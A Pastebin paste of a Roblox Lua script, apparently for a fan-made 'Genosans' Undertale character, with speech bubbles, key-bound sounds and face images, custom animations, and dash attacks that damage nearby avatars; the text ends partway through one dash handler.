Advertisement
SavageTTyphoon

G-Sans Script

Jul 10th, 2016
16,661
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 59.72 KB | None | 0 0
  1. -- Genosans. leaked by CLarramore
  2. -- NOTE: This was edited from error-sans another script edit of mine.
  3.  
  4. dot = false
  5. des = false
  6. local ChatService = game:GetService("Chat")
  7. local player = game.Players.LocalPlayer
  8. char = player.Character
  9. hum = char.Humanoid
  10. torso = hum.Torso
  11. lig = Instance.new("PointLight",player.Character.Torso)
  12. lig.Color=Color3.new(0,255,255)
  13. m=player:GetMouse()
  14. bb = Instance.new("BillboardGui",player.Character.Head)
  15. bb.Enabled = true
  16. bb.AlwaysOnTop = true
  17. bb.Size = UDim2.new(0,200,0,50)
  18. bb.StudsOffset = Vector3.new(0,1,0)
  19. gui=Instance.new("TextBox",bb)
  20. gui.Text = "* "
  21. gui.Size = UDim2.new(0,133,0,45)
  22. gui.Position=UDim2.new(0,57,0,-40)
  23. gui.TextColor3 = Color3.new(255,255,255)
  24. gui.BackgroundColor3=Color3.new(0,0,0)
  25. gui.TextWrapped = true
  26. gui.TextScaled = true
  27. gui.TextXAlignment = "Left"
  28. gui.TextYAlignment = "Top"
  29. gui.Visible = false
  30. gui.BorderColor3 = Color3.new(0,0,0)
  31.  
  32. gui1=Instance.new("TextButton",bb)
  33. gui1.Position=UDim2.new(0,5,0,-43)
  34. gui1.Size = UDim2.new(0,190,0,51)
  35.  
  36. gui1.TextColor3 = Color3.new(255,255,255)
  37. gui1.BackgroundColor3=Color3.new(255,255,255)
  38.  
  39. Debounces = {
  40. ["IsSpeech"]=false;
  41. }
  42.  
  43.  
  44. Speeches = {
  45. "rbxassetid://316403916",
  46. "rbxassetid://316403844",
  47. "rbxassetid://316403787",
  48. "rbxassetid://316403490"
  49. };
  50.  
  51.  
  52.  
  53.  
  54. function swait(num)
  55. if num==0 or num==nil then
  56. game:service'RunService'.Stepped:wait(0)
  57. else
  58. for i=0,num do
  59. game:service'RunService'.Stepped:wait(0)
  60. end
  61. end
  62. end
  63.  
  64.  
  65. for _,v in pairs(Speeches) do
  66.  
  67. game:GetService("ContentProvider"):Preload(v)
  68.  
  69. end
  70.  
  71. so = function(id,par,vol,pit)
  72. coroutine.resume(coroutine.create(function()
  73. local sou = Instance.new("Sound",par or workspace)
  74. sou.Volume=vol
  75. sou.Pitch=pit or 1
  76. sou.SoundId=id
  77. swait()
  78. sou:play()
  79. game:GetService("Debris"):AddItem(sou,sou.TimeLength)
  80. end))
  81. end
  82.  
  83.  
  84.  
  85. function speech()
  86. if Debounces.IsSpeech then return end
  87. Debounces.IsSpeech = true
  88.  
  89. so(""..Speeches[math.random(1,#Speeches)].."",torso,1,1)
  90.  
  91. swait()
  92.  
  93. Debounces.IsSpeech = false
  94. end
  95.  
  96.  
  97. gui1.Visible = false
  98. img = Instance.new("ImageLabel",bb)
  99. img.Size = UDim2.new(0,46,0,47)
  100. img.Position = UDim2.new(0,10,0,-41)
  101. img.Image = "rbxassetid://388166921"
  102. img.BorderColor3 = Color3.new(0,0,0)
  103. img.Visible = false
  104. asd = Instance.new("Sound",player.Character.Torso)
  105. asd.SoundId = "http://www.roblox.com/asset/?id = 358280695"
  106.  
  107. asd1 = Instance.new("Sound",player.Character.Torso)
  108. asd1.SoundId = "http://www.roblox.com/asset/?id = 358280695"
  109.  
  110. asd2 = Instance.new("Sound",player.Character.Torso)
  111. asd2.SoundId = "http://www.roblox.com/asset/?id = 306370481"
  112. asd2.Looped = true
  113. asd3 = Instance.new("Sound",player.Character.Torso)
  114. asd3.SoundId = "http://www.roblox.com/asset/?id = 316014309"
  115. asd3.Looped = true
  116. asd4 = Instance.new("Sound",player.Character.Torso)
  117. asd4.SoundId = "http://www.roblox.com/asset/?id = 388938813"
  118. asd4.Looped = false
  119. asd5 = Instance.new("Sound",player.Character.Torso)
  120. asd5.SoundId = "http://www.roblox.com/asset/?id = 0"
  121. asd5.Looped = true
  122. dunkd = Instance.new("Sound",player.Character.Torso)
  123. dunkd.SoundId = "http://www.roblox.com/asset/?id = 333078694"
  124. dunkd.Looped = false
  125. function play(play)
  126. asd:Play()
  127. asd1:Play()
  128. end
  129. eye = Instance.new("Part",player.Character)
  130. eye.BrickColor = BrickColor.new("Toothpaste")
  131. eye.Material = "Neon"
  132. eye.FormFactor = 3
  133. eye.Shape = "Ball"
  134. eye.Size = Vector3.new(0.37,0.37,0.1)
  135. weld = Instance.new("Weld",eye)
  136. weld.Part0 = eye
  137. weld.Part1 = player.Character.Head
  138. weld.C0 = CFrame.new(0.1,-0.2,0.45)
  139. eye.Transparency = 1
  140. -- listen for their chatting
  141. player.Chatted:connect(function(message)
  142. a = string.len(message)
  143. gui.Text = "* "
  144. gui.Visible = true
  145. gui1.Visible = true
  146. des = false
  147. img.Visible = true
  148. print(a)
  149. if dot == false then
  150. for i = 1,string.len(message) do wait(0.07)
  151. gui.Text =gui.Text..message:sub(i,i)
  152.  
  153. play()
  154. end
  155. end
  156.  
  157. des = true
  158. end)
  159. m.KeyDown:connect(function(k)
  160. if k == "g" then
  161. asd2:Play()
  162. eye.Transparency = 0
  163.  
  164. elseif k == "k" then
  165. speech()
  166. end
  167. end)
  168. m.KeyDown:connect(function(k)
  169. if k == "p" then
  170. eye.Transparency = 1
  171. asd3:Play()
  172. end
  173. end)
  174. m.KeyDown:connect(function(k)
  175. if k == "r" then
  176. eye.Transparency = 0
  177. asd4:Play()
  178. end
  179. end)
  180. m.KeyDown:connect(function(k)
  181. if k == "q" then
  182. eye.Transparency = 1
  183. asd5:Play()
  184. end
  185. end)
  186. m.KeyDown:connect(function(k)
  187. if k == "z" then
  188.  
  189. img.Image = "rbxassetid://388167098"
  190. end
  191. end)
  192. m.KeyDown:connect(function(k)
  193. if k == "c" then
  194. img.Image = "rbxassetid://388166921"
  195. end
  196. end)
  197. m.KeyDown:connect(function(k)
  198. if k == "n" then
  199. img.Image = "rbxassetid://388166991"
  200. end
  201. end)
  202. m.KeyDown:connect(function(k)
  203. if k == "b" then
  204. img.Image = "rbxassetid://378060690"
  205. end
  206. end)
  207. m.KeyDown:connect(function(k)
  208. if k == "m" then
  209. img.Image = "rbxassetid://378609498"
  210. end
  211. end)
  212. m.KeyDown:connect(function(k)
  213. if k == "v" then
  214. img.Image = "rbxassetid://388166961"
  215. end
  216. end)
  217. m.KeyDown:connect(function(k)
  218. if k == "h" then
  219. img.Image = "rbxassetid://378577428"
  220. end
  221. end)
  222. m.KeyDown:connect(function(k)
  223. if k == "j" then
  224. img.Image = "rbxassetid://388167116"
  225. end
  226. end)
  227. m.KeyDown:connect(function(k)
  228. if k == "l" then
  229. img.Image = "rbxassetid://388167154"
  230. print("You take your very last breath...")
  231. asdd = Instance.new("Sound",player.Character.Torso)
  232. asdd.SoundId = "http://www.roblox.com/asset/?id = 357417055"
  233. asdd.Looped = false
  234. spawn(function()
  235. wait()
  236. asdd:Play()
  237. end)
  238. wait(2)
  239. asddd = Instance.new("Sound",player.Character.Torso)
  240. asddd.SoundId = "http://www.roblox.com/asset/?id = 387183672"
  241. asddd.Looped = false
  242. spawn(function()
  243. wait()
  244. asddd:Play()
  245. end)
  246. wait(2)
  247. asdded = Instance.new("Sound",player.Character.Torso)
  248. asdded.SoundId = "http://www.roblox.com/asset/?id = 387187707"
  249. asdded.Looped = false
  250. spawn(function()
  251. wait()
  252. asdded:Play()
  253. end)
  254. char:BreakJoints()
  255. end
  256. end)
  257. m.KeyDown:connect(function(k)
  258. if k == "x" then
  259. if des == true then
  260. gui.Visible = false
  261. gui.Text = "* "
  262. gui1.Visible = false
  263. img.Visible = false
  264. end
  265. end
  266. end)
  267. m.KeyDown:connect(function(k)
  268. if k == "f" then
  269. asd3:Stop()
  270. asd2:Stop()
  271. asd4:Stop()
  272. dunkd:Stop()
  273. eye.Transparency = 1
  274. asd5:Stop()
  275. end
  276. end)
  277. m.KeyDown:connect(function(k)
  278. if k == "u" then
  279. dunkd = Instance.new("Sound",player.Character.Torso)
  280. dunkd.SoundId = "http://www.roblox.com/asset/?id = 333078694"
  281. dunkd.Looped = false
  282. dunkd:Play()
  283. end
  284. end)
  285. m.KeyDown:connect(function(k)
  286. if k == "y" then
  287. img.Image = "rbxassetid://378198656"
  288. end
  289. end)
  290. -- my god...
  291. -- Suck_HiyaThere moves to arizona
  292.  
  293. --------------------------------------------------------
  294.  
  295. pls = game:GetService'Players'
  296. rs = game:GetService'RunService'
  297. uinps = game:GetService'UserInputService'
  298. lp = pls.LocalPlayer
  299. mouse = lp:GetMouse()
  300. c = lp.Character
  301. human = c.Humanoid
  302. human.MaxHealth = 50
  303. soundVol = 0
  304. wait()
  305. human.Health = 50
  306. c.Health:Destroy()
  307.  
  308. --------------------------------------------------------
  309.  
  310. Debounces = {
  311. AnimationCycles = 0;
  312. FPS = 0;
  313. scalingDamage = false;
  314. damageLevel = 0;
  315. attackNumber = 0;
  316. isAttacking = false;
  317. isMoving = false;
  318. isSprinting = false;
  319. isBoosting = false;
  320. isPassive = false;
  321. isTyping = false;
  322. }
  323.  
  324. --------------------------------------------------------
  325.  
  326. numLerp = function(start, goal, alpha)
  327. return(((goal - start) * alpha) + start)
  328. end
  329.  
  330. CFrameZero = function()
  331. return CFrame.new(Vector3.new())
  332. end
  333.  
  334. rad = function(value)
  335. return math.rad(value)
  336. end
  337.  
  338. CFAngles = function(Vector)
  339. return CFrame.Angles(rad(Vector.x),rad(Vector.y),rad(Vector.z))
  340. end
  341.  
  342. --------------------------------------------------------
  343.  
  344. AnimStat = {
  345. lerpSpeed = .2;
  346. lerpSpeed2 = .35;
  347. lerpTween = 0;
  348. }
  349.  
  350. Joints = {
  351. c.HumanoidRootPart.RootJoint;
  352. c.Torso.Neck;
  353. c.Torso['Left Shoulder'];
  354. c.Torso['Right Shoulder'];
  355. c.Torso['Left Hip'];
  356. c.Torso['Right Hip'];
  357. }
  358.  
  359. JointTargets = {
  360. CFrameZero();
  361. CFrameZero();
  362. CFrameZero();
  363. CFrameZero();
  364. CFrameZero();
  365. CFrameZero();
  366. }
  367.  
  368. --------------------------------------------------------
  369.  
  370. BodyColors = {
  371. HeadColor = BrickColor.new("Institutional white");
  372. LeftArmColor = BrickColor.new("Institutional white");
  373. RightArmColor = BrickColor.new("Institutional white");
  374. LeftLegColor = BrickColor.new("Institutional white");
  375. RightLegColor = BrickColor.new("Institutional white");
  376. TorsoColor = BrickColor.new("Mid gray");
  377. }
  378.  
  379. Customs = {
  380. Face = "http://www.roblox.com/asset/?id=8560915";
  381. Shirt = "http://www.roblox.com/asset/?id=334781688";
  382. Pants = "http://www.roblox.com/asset/?id=335237283";
  383. }
  384.  
  385. --------------------------------------------------------
  386.  
  387. prepareCharacter = function()
  388. local transPoints = {
  389. NumberSequenceKeypoint.new(0,0,0),
  390. NumberSequenceKeypoint.new(.4,.05,0),
  391. NumberSequenceKeypoint.new(.8,.16,0),
  392. NumberSequenceKeypoint.new(1,.25,0)
  393. }
  394. local sizePoints = {
  395. NumberSequenceKeypoint.new(0,.5,0),
  396. NumberSequenceKeypoint.new(.18,.5,0),
  397. NumberSequenceKeypoint.new(.49,.69,0),
  398. NumberSequenceKeypoint.new(.74,.5,0),
  399. NumberSequenceKeypoint.new(.92,.25,0),
  400. NumberSequenceKeypoint.new(1,.0625,0)
  401. }
  402. local Size = NumberSequence.new(sizePoints)
  403. local Transparency = NumberSequence.new(transPoints)
  404. rayModel = Instance.new("Model",c)
  405. efxBlock = Instance.new("Part",c)
  406. efxBlock.Material = "Neon"
  407. efxBlock.FormFactor = "Custom"
  408. efxBlock.Size = Vector3.new(.3,.3,.3)
  409. light = Instance.new("PointLight",c.Head)
  410. light.Range = 8
  411. light.Color = Color3.new(1,1,1)
  412. light.Shadows = false
  413. local particles = Instance.new("ParticleEmitter",efxBlock)
  414. particles.Color = ColorSequence.new(Color3.new(.85,.85,.85),Color3.new(1,1,1))
  415. particles.ZOffset = 1
  416. particles.LightEmission = .96
  417. particles.Size = Size
  418. particles.Name = "Fire"
  419. particles.Transparency = Transparency
  420. particles.LockedToPart = true
  421. particles.Rate = 25
  422. particles.EmissionDirection = "Right"
  423. particles.Acceleration = Vector3.new(-.5,0,0)
  424. particles.Texture = "rbxassetid://24378732"
  425. particles.Lifetime = NumberRange.new(.25,.25)
  426. particles.Speed = NumberRange.new(-.5,5)
  427. script.Parent = efxBlock
  428. fire = particles
  429. local offset = Vector3.new(0.2, .23, -0.5)
  430. local weld = Instance.new("Weld",c.Head)
  431. weld.Part0 = c.Head
  432. weld.Part1 = efxBlock
  433. weld.C0 = CFrame.new(offset) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))
  434. efxBlock.Parent = c
  435. local music = Instance.new("Sound",c.Torso)
  436. music.SoundId = "rbxassetid://316012176"
  437. music.Looped = true
  438. music.Volume = soundVol
  439. fight = music
  440. local music2 = Instance.new("Sound",c.Torso)
  441. music2.SoundId = "rbxassetid://316014309"
  442. music2.Looped = true
  443. music2.Volume = soundVol
  444. sans = music2
  445. pointGyro = Instance.new("BodyGyro",c.HumanoidRootPart)
  446. pointGyro.P = 1e7
  447. pointGyro.D = 1e3
  448. pointGyro.MaxTorque = Vector3.new(0,1e7,0)
  449. animator = c.Humanoid:FindFirstChild("Animator")
  450. if animator then
  451. animator:Destroy()
  452. end
  453. c.Torso.roblox:Destroy()
  454. for i,v in pairs (c.Head:children()) do
  455. if v.ClassName == "Sound" then
  456. v:Destroy()
  457. end
  458. end
  459. for i = 1,#Joints do
  460. Joints[i].C1 = CFrame.new(Vector3.new())
  461. end
  462. human.WalkSpeed = 0
  463. human.JumpPower = 0
  464. end
  465.  
  466. uinps.InputBegan:connect(function(InputObject)
  467. if InputObject.KeyCode == Enum.KeyCode.K and Debounces.isTyping == false then
  468. Debounces.isPassive = not Debounces.isPassive
  469. if Debounces.isPassive == true then
  470.  
  471. --speech()
  472. end
  473.  
  474. end
  475. end)
  476.  
  477. setJointCFrames = function(table)
  478. for i = 1,#table do
  479. JointTargets[i] = table[i]
  480. end
  481. AnimationCycles = 0
  482. end
  483.  
  484. setLerp = function(speed)
  485. AnimStat.lerpSpeed = speed
  486. end
  487.  
  488. setTween = function(tween)
  489. AnimStat.lerpTween = tween
  490. end
  491.  
  492. takeDamage = function(position,damage,distance,platformStand)
  493. for i,v in pairs (pls:children()) do
  494. if v.ClassName == "Player" and v:FindFirstChild("Character") then
  495. local torso = v.Character:FindFirstChild("Torso")
  496. if torso and (torso.Position - position).magnitude < distance then
  497. if v.Character.Humanoid.MaxHealth > 1000 then
  498. v.Character.Humanoid.MaxHealth = 100;
  499. v.Character.Humanoid.Breakjoints()
  500. end
  501.  
  502.  
  503. v.Character.Humanoid:TakeDamage(damage)
  504. if platformStand == true then
  505. v.Character.PlatformStand = platformStand
  506. end
  507. end
  508. end
  509. end
  510. end
  511.  
  512. --------------------------------------------------------
  513.  
  514. prepareCharacter()
  515.  
  516. --------------------------------------------------------
  517.  
  518. spawn(function()
  519. local sine = 0
  520. while wait() do
  521. pointGyro.CFrame = CFrame.new(Vector3.new(),(mouse.Hit.p - c.HumanoidRootPart.CFrame.p).unit * 100)
  522. if Debounces.isAttacking == false and Debounces.isMoving == false and Debounces.isBoosting == false then
  523. setLerp(.1)
  524. if Debounces.isPassive == true then
  525. setJointCFrames({
  526. CFrame.new(Vector3.new(0, 0 + math.sin(tick() * 1.5)/25, 0)) * CFAngles(Vector3.new(0, 0, 0));
  527. CFrame.new(Vector3.new(0, 1.5 + math.sin(tick() * -1.5)/35, math.sin(tick() * 1.5)/35)) * CFAngles(Vector3.new(1.554 + math.sin((-tick() + 2) * 1.5) * 5, -0.001, -0.001));
  528. CFrame.new(Vector3.new(-1.06, -0.03 + math.sin(tick() * 1.5)/25, 0.449)) * CFAngles(Vector3.new(-29.511, 0, 29.51));
  529. CFrame.new(Vector3.new(1.059, -0.031 + math.sin(tick() * 1.5)/25, 0.449)) * CFAngles(Vector3.new(-29.511, -3.842, -29.511));
  530. CFrame.new(Vector3.new(-0.49, -2, -0.05/1.5)) * CFAngles(Vector3.new(0, 8.885, 0));
  531. CFrame.new(Vector3.new(0.49, -2, -0.05/1.5)) * CFAngles(Vector3.new(-0.001, -8.886, 0));
  532. })
  533. else
  534. setJointCFrames({
  535. CFrame.new(Vector3.new(0, 0 + math.sin(tick() * 1.5)/25, 0)) * CFAngles(Vector3.new(0, 0, 0));
  536. CFrame.new(Vector3.new(0, 1.5 + math.sin(tick() * -1.5)/35, math.sin(tick() * 1.5)/35)) * CFAngles(Vector3.new(1.554 + math.sin((-tick() + 2) * 1.5) * 5, -0.001, -0.001));
  537. CFrame.new(Vector3.new(-1.06, -0.03 + math.sin(tick() * 1.5)/25, 0.449)) * CFAngles(Vector3.new(-29.511, 0, 29.51));
  538. CFrame.new(Vector3.new(1.059, -0.031 + math.sin(tick() * 1.5)/25, 0.449)) * CFAngles(Vector3.new(-29.511, -3.842, -29.511));
  539. CFrame.new(Vector3.new(-0.49, -2, -0.05/1.5)) * CFAngles(Vector3.new(0, 8.885, 0));
  540. CFrame.new(Vector3.new(0.49, -2, -0.05/1.5)) * CFAngles(Vector3.new(-0.001, -8.886, 0));
  541. })
  542. end
  543. elseif Debounces.isAttacking == false and Debounces.isMoving == true and Debounces.isBoosting == false then
  544. sine = sine + math.rad(12)
  545. human.WalkSpeed = 15
  546. setLerp(.15)
  547. setJointCFrames({
  548. CFrame.new(Vector3.new(0, 0, 0)) * CFAngles(Vector3.new(0, math.sin(sine) * -2.5, 0));
  549. CFrame.new(Vector3.new(0, 1.499, -0.04)) * CFAngles(Vector3.new(-5.676, -0.001 - math.sin(sine) * 3, -0.001));
  550. CFrame.new(Vector3.new(-1.97, 0 + math.sin(sine + .5)/20, 0.1 + math.sin(-sine)/2)/1.3) * CFAngles(Vector3.new(-5 + math.sin(sine) * 23, 0, 0));
  551. CFrame.new(Vector3.new(1.97, 0 - math.sin(sine + .5)/20, 0.1 + math.sin(sine)/2)/1.3) * CFAngles(Vector3.new(-5 + math.sin(-sine) * 23, 0, 0));
  552. CFrame.new(Vector3.new(-0.5, -1.93 - math.cos(sine)/8.7, 0.2 + math.sin(sine)/2)) * CFAngles(Vector3.new(-15 + math.sin(-sine) * 30, 0, 0));
  553. CFrame.new(Vector3.new(0.5, -1.93 + math.cos(sine)/8.7, 0.2 + math.sin(-sine)/2)) * CFAngles(Vector3.new(-15 + math.sin(sine) * 30, 0, 0));
  554. })
  555. end
  556. if Debounces.scalingDamage == true then
  557. takeDamage(c.HumanoidRootPart.Position,Debounces.damageLevel,8,true)
  558. end
  559. end
  560. end)
  561.  
  562. human.Changed:connect(function(prop)
  563. if prop == "MoveDirection" then
  564. if human.MoveDirection.magnitude > .02 then
  565. Debounces.isMoving = true
  566. else
  567. Debounces.isMoving = false
  568. end
  569. end
  570. end)
  571.  
  572. uinps.InputBegan:connect(function(InputObject)
  573. if InputObject.KeyCode == Enum.KeyCode.A and Debounces.isAttacking == false and Debounces.isSprinting == true and Debounces.isBoosting == false and Debounces.isPassive == true and Debounces.isTyping == false then
  574. Debounces.isBoosting = true
  575. Debounces.damageLevel = 10
  576. Debounces.scalingDamage = true
  577. local vel = Instance.new("BodyVelocity",c.HumanoidRootPart)
  578. setLerp(.15)
  579. setJointCFrames({
  580. CFrame.new(Vector3.new(0, -0.901, 0)) * CFAngles(Vector3.new(-22.001, 0, 20));
  581. CFrame.new(Vector3.new(-0.001, 1.52, 0)) * CFAngles(Vector3.new(-10.372, 28.758, -1.837));
  582. CFrame.new(Vector3.new(-0.7, -0.2, -0.801)) * CFAngles(Vector3.new(45, 0, 45));
  583. CFrame.new(Vector3.new(1.7, 0.2, 0.199)) * CFAngles(Vector3.new(-15.001, -15.001, 45));
  584. CFrame.new(Vector3.new(-0.3, -2, 0.2)) * CFAngles(Vector3.new(-11.283, -17.801, 19.495));
  585. CFrame.new(Vector3.new(0.9, -2, -0.201)) * CFAngles(Vector3.new(15, -15, 29.999));
  586. })
  587. local boostSpeed = 250
  588. local efx = Instance.new("Sound",c.Head)
  589. efx.SoundId = "rbxassetid://200632875"
  590. efx.Pitch = math.random(1100,1300)/1000
  591. efx.Volume = .5
  592. efx:Play()
  593. spawn(function()
  594. wait(5)
  595. efx:Destroy()
  596. end)
  597. vel.Velocity = (c.HumanoidRootPart.Position - c.HumanoidRootPart.CFrame:toWorldSpace(CFrame.new(1,0,0)).p).unit * boostSpeed
  598. vel.P = 1e3
  599. vel.MaxForce = Vector3.new(math.huge,0,math.huge)
  600. wait(.15)
  601. vel.P = 1000
  602. vel.MaxForce = Vector3.new(3000,0,3000)
  603. vel.Velocity = Vector3.new()
  604. wait(.3)
  605. setLerp(.3)
  606. setJointCFrames({
  607. CFrame.new(Vector3.new(0, -0.901, 0)) * CFAngles(Vector3.new(-22.001, 0, 13));
  608. CFrame.new(Vector3.new(-0.001, 1.52, 0)) * CFAngles(Vector3.new(-30.239, 42.47, 11.879));
  609. CFrame.new(Vector3.new(-1.9, -0.2, -0.401)) * CFAngles(Vector3.new(44.999, 0, -45));
  610. CFrame.new(Vector3.new(1.5, 0.4, 0.599)) * CFAngles(Vector3.new(-62.058, -21.088, -15.383));
  611. CFrame.new(Vector3.new(-0.7, -1.8, 0.6)) * CFAngles(Vector3.new(-59.239, -26.158, -14.457));
  612. CFrame.new(Vector3.new(0.5, -1, -0.801)) * CFAngles(Vector3.new(-0.505, -14.478, -18.968));
  613. })
  614. wait(.2)
  615. vel:Destroy()
  616. Debounces.damageLevel = 0
  617. Debounces.scalingDamage = false
  618. Debounces.isBoosting = false
  619. end
  620. end)
  621.  
  622. uinps.InputBegan:connect(function(InputObject)
  623. if InputObject.KeyCode == Enum.KeyCode.D and Debounces.isAttacking == false and Debounces.isSprinting == true and Debounces.isBoosting == false and Debounces.isPassive == true and Debounces.isTyping == false then
  624. Debounces.isBoosting = true
  625. Debounces.damageLevel = 10
  626. Debounces.scalingDamage = true
  627. local vel = Instance.new("BodyVelocity",c.HumanoidRootPart)
  628. setLerp(.15)
  629. setJointCFrames({
  630. CFrame.new(Vector3.new(0, -0.901, 0)) * CFAngles(Vector3.new(-22.001, 0, -15));
  631. CFrame.new(Vector3.new(-0.001, 1.52, 0)) * CFAngles(Vector3.new(-13.603, -45.662, -6.645));
  632. CFrame.new(Vector3.new(-1.9, 0, -0.201)) * CFAngles(Vector3.new(31.935, -7.436, -60.853));
  633. CFrame.new(Vector3.new(1.9, 0, 0.399)) * CFAngles(Vector3.new(-3.644, -23.448, 59.102));
  634. CFrame.new(Vector3.new(-1.1, -1.8, 0)) * CFAngles(Vector3.new(-3.616, -11.936, -29.566));
  635. CFrame.new(Vector3.new(0.1, -1.6, -0.601)) * CFAngles(Vector3.new(1.943, -7.181, -32.528));
  636. })
  637. local boostSpeed = 250
  638. local efx = Instance.new("Sound",c.Head)
  639. efx.SoundId = "rbxassetid://200632875"
  640. efx.Pitch = math.random(1100,1300)/1000
  641. efx.Volume = .5
  642. efx:Play()
  643. spawn(function()
  644. wait(5)
  645. efx:Destroy()
  646. end)
  647. vel.Velocity = (c.HumanoidRootPart.Position - c.HumanoidRootPart.CFrame:toWorldSpace(CFrame.new(-1,0,0)).p).unit * boostSpeed
  648. vel.P = 1e3
  649. vel.MaxForce = Vector3.new(math.huge,0,math.huge)
  650. wait(.15)
  651. vel.P = 1000
  652. vel.MaxForce = Vector3.new(3000,0,3000)
  653. vel.Velocity = Vector3.new()
  654. wait(.3)
  655. setLerp(.3)
  656. setJointCFrames({
  657. CFrame.new(Vector3.new(0, -0.901, 0)) * CFAngles(Vector3.new(-22.001, 0, -13));
  658. CFrame.new(Vector3.new(-0.001, 1.52, 0)) * CFAngles(Vector3.new(-12.936, -46.206, -2.327));
  659. CFrame.new(Vector3.new(-1.9, 0.2, -0.201)) * CFAngles(Vector3.new(45, 0, -60));
  660. CFrame.new(Vector3.new(1.7, 0, -0.401)) * CFAngles(Vector3.new(14.035, -5.69, 35.342));
  661. CFrame.new(Vector3.new(-0.3, -1.8, 0.6)) * CFAngles(Vector3.new(-55.479, -10.612, 15.729));
  662. CFrame.new(Vector3.new(0.5, -1, -0.801)) * CFAngles(Vector3.new(14.999, -15, 14.999));
  663. })
  664. wait(.2)
  665. vel:Destroy()
  666. Debounces.damageLevel = 0
  667. Debounces.scalingDamage = false
  668. Debounces.isBoosting = false
  669. end
  670. end)
  671.  
  672. uinps.InputBegan:connect(function(InputObject)
  673. if InputObject.KeyCode == Enum.KeyCode.W and Debounces.isAttacking == false and Debounces.isSprinting == true and Debounces.isBoosting == false and Debounces.isPassive == true and Debounces.isTyping == false then
  674. Debounces.isBoosting = true
  675. Debounces.damageLevel = 10
  676. Debounces.scalingDamage = true
  677. local vel = Instance.new("BodyVelocity",c.HumanoidRootPart)
  678. setLerp(.15)
  679. setJointCFrames({
  680. CFrame.new(Vector3.new(0, -0.901, 0)) * CFAngles(Vector3.new(-40.001, 0, 5));
  681. CFrame.new(Vector3.new(-0.001, 1.429, 0.2)) * CFAngles(Vector3.new(25.141, -8.347, 0.878));
  682. CFrame.new(Vector3.new(-1.5, 0, .101)) * CFAngles(Vector3.new(14.999, -0.001, 0));
  683. CFrame.new(Vector3.new(1.7, 0.199, -0.401)) * CFAngles(Vector3.new(28.08, -0.358, 21.087));
  684. CFrame.new(Vector3.new(-0.5, -1.8, 0.6)) * CFAngles(Vector3.new(-29.448, 3.57, -1.5));
  685. CFrame.new(Vector3.new(0.499, -1.6, -0.401)) * CFAngles(Vector3.new(-0.505, -14.478, -3.968));
  686. })
  687. local boostSpeed = 250
  688. local efx = Instance.new("Sound",c.Head)
  689. efx.SoundId = "rbxassetid://200632875"
  690. efx.Pitch = math.random(1100,1300)/1000
  691. efx.Volume = .5
  692. efx:Play()
  693. spawn(function()
  694. wait(5)
  695. efx:Destroy()
  696. end)
  697. vel.Velocity = (c.HumanoidRootPart.Position - c.HumanoidRootPart.CFrame:toWorldSpace(CFrame.new(0,0,1)).p).unit * boostSpeed
  698. vel.P = 1e3
  699. vel.MaxForce = Vector3.new(math.huge,0,math.huge)
  700. wait(.15)
  701. vel.P = 1000
  702. vel.MaxForce = Vector3.new(3000,0,3000)
  703. vel.Velocity = Vector3.new()
  704. wait(.3)
  705. setLerp(.3)
  706. setJointCFrames({
  707. CFrame.new(Vector3.new(0, -0.901, 0)) * CFAngles(Vector3.new(-22.001, 40, -13));
  708. CFrame.new(Vector3.new(-0.001, 1.52, 0)) * CFAngles(Vector3.new(-12.936, -46.206, -2.327));
  709. CFrame.new(Vector3.new(-1.9, 0.2, -0.201)) * CFAngles(Vector3.new(45, 0, -60));
  710. CFrame.new(Vector3.new(1.7, 0, -0.401)) * CFAngles(Vector3.new(14.035, -5.69, 35.342));
  711. CFrame.new(Vector3.new(-0.3, -1.8, 0.6)) * CFAngles(Vector3.new(-55.479, -10.612, 15.729));
  712. CFrame.new(Vector3.new(0.5, -1, -0.801)) * CFAngles(Vector3.new(14.999, -15, 14.999));
  713. })
  714. wait(.2)
  715. vel:Destroy()
  716. Debounces.damageLevel = 0
  717. Debounces.scalingDamage = false
  718. Debounces.isBoosting = false
  719. end
  720. end)
  721.  
  722. uinps.InputBegan:connect(function(InputObject)
  723. if InputObject.KeyCode == Enum.KeyCode.S and Debounces.isAttacking == false and Debounces.isSprinting == true and Debounces.isBoosting == false and Debounces.isPassive == true and Debounces.isTyping == false then
  724. Debounces.isBoosting = true
  725. Debounces.damageLevel = 10
  726. Debounces.scalingDamage = true
  727. local vel = Instance.new("BodyVelocity",c.HumanoidRootPart)
  728. setLerp(.15)
  729. setJointCFrames({
  730. CFrame.new(Vector3.new(0, -.3, 0)) * CFAngles(Vector3.new(15, 0, 0));
  731. CFrame.new(Vector3.new(-0.001, 1.52, -0.03)) * CFAngles(Vector3.new(-5.298, -1.305, -4.093));
  732. CFrame.new(Vector3.new(-1.7, 0, -0.201)) * CFAngles(Vector3.new(12.112, -6.562, -16.939));
  733. CFrame.new(Vector3.new(1.7, 0, -0.201)) * CFAngles(Vector3.new(8.817, 8.378, 20.465));
  734. CFrame.new(Vector3.new(-0.7, -1.8, 0.2)) * CFAngles(Vector3.new(-14.432, 3.06, -2.373));
  735. CFrame.new(Vector3.new(0.5, -1.8, -0.201)) * CFAngles(Vector3.new(-0.505, -14.478, -3.968));
  736. })
  737. local boostSpeed = 150
  738. local boostSpeed = 250
  739. local efx = Instance.new("Sound",c.Head)
  740. efx.SoundId = "rbxassetid://200632875"
  741. efx.Pitch = math.random(1100,1300)/1000
  742. efx.Volume = .5
  743. efx:Play()
  744. spawn(function()
  745. wait(5)
  746. efx:Destroy()
  747. end)
  748. vel.Velocity = (c.HumanoidRootPart.Position - c.HumanoidRootPart.CFrame:toWorldSpace(CFrame.new(0,0,-1)).p).unit * boostSpeed
  749. vel.P = 1e3
  750. vel.MaxForce = Vector3.new(math.huge,0,math.huge)
  751. wait(.15)
  752. vel.P = 1000
  753. vel.MaxForce = Vector3.new(3000,0,3000)
  754. vel.Velocity = Vector3.new()
  755. wait(.3)
  756. setLerp(.3)
  757. setJointCFrames({
  758. CFrame.new(Vector3.new(0, -.5, 0)) * CFAngles(Vector3.new(4, 0, 0));
  759. CFrame.new(Vector3.new(-0.001, 1.52, -0.03)) * CFAngles(Vector3.new(-20.081, 28.752, 3.598));
  760. CFrame.new(Vector3.new(-1.7, 0.2, -0.601)) * CFAngles(Vector3.new(59.51, -3.841, -14.511));
  761. CFrame.new(Vector3.new(1.7, 0.2, 0.399)) * CFAngles(Vector3.new(-47.597, -13.104, 17.887));
  762. CFrame.new(Vector3.new(-0.7, -1.4, 0.2)) * CFAngles(Vector3.new(-44.477, 3.836, -0.524));
